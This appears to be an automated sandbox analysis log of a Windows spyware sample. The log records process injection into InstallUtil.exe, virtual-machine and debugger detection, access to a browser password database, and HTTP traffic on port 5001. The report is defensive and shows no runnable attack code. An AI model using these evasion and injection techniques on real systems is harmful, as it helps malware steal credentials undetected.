Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\analworker

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Temp\tmp7C29.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/12@1/3

Source: tmp7C29.tmp.dat.2.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7016:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mutex

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: file.exe

Static file information: File size 1219328 > 1048576

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001A9A56 push ecx; ret	0_2_001A9A69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02AB4B18 pushfd ; ret	2_2_02AB4B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02ABAC91 push E8000000h; ret	2_2_02ABACA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_0552718D push esp; iretd	2_2_0552718E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_055272D2 pushad ; iretd	2_2_055272D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05526FFE push eax; iretd	2_2_05526FFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05527ADD pushfd ; iretd	2_2_05527ADE

Source: file.exe

Static PE information: section name: .D_Haze

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 5001
Source: unknown	Network traffic detected: HTTP traffic on port 5001 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 5001 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 5001 -> 49708

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5876	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5876	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5744	Thread sleep count: 3421 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5876	Thread sleep time: -99840s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5876	Thread sleep time: -99719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5876	Thread sleep time: -99563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5876	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5876	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5888	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Window / User API: threadDelayed 3421

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001BE3A0 FindFirstFileExW,

0_2_001BE3A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99840	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99344	Jump to behavior

Source: InstallUtil.exe, 00000002.00000003.363043019.0000000006893000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmp, InstallUtil.exe, 00000002.00000002.445600620.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ,,ComputeStringHash<ContainsVirtualMachineKeywords>b__0<Create>b__0<Create>b__1<Create>b__2<Create>b__3<Create>b__4<Create>b__5<Create>b__6<Create>b__7<Create>b__8<Create>b__9<Create>b__10<Create>b__11Dispose<Run>b__0get_Nameset_Name
Source: file.exe, 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmp, InstallUtil.exe, 00000002.00000002.445600620.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: <ContainsVirtualMachineKeywords>b__0
Source: InstallUtil.exe, 00000002.00000003.362792850.0000000000FF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: InstallUtil.exe, 00000002.00000003.363043019.0000000006893000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareEUTXF8_5Win32_VideoControllerBX9CLBDXVideoController120060621000000.000000-00059815286display.infMSBDA6GB5NFMWPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsFNW8KX9_

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001AA085 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_001AA085

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C1B1A GetProcessHeap,

0_2_001C1B1A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BF51B mov eax, dword ptr fs:[00000030h]		0_2_001BF51B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B3E39 mov ecx, dword ptr fs:[00000030h]		0_2_001B3E39

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 2_2_02AB9540 LdrInitializeThunk,

2_2_02AB9540

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001AA1E7 SetUnhandledExceptionFilter,	0_2_001AA1E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001AA085 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001AA085
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001AFC47 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001AFC47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001A9D60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_001A9D60

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: B68008	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_001C18B8
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_001C11F6
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_001C1241
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_001C12DC
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_001C1367
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_001B8C2E
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_001C15BA
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_001C16E3
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_001B8708
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_001C0F54
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_001C17E9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001A9B4C cpuid

0_2_001A9B4C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

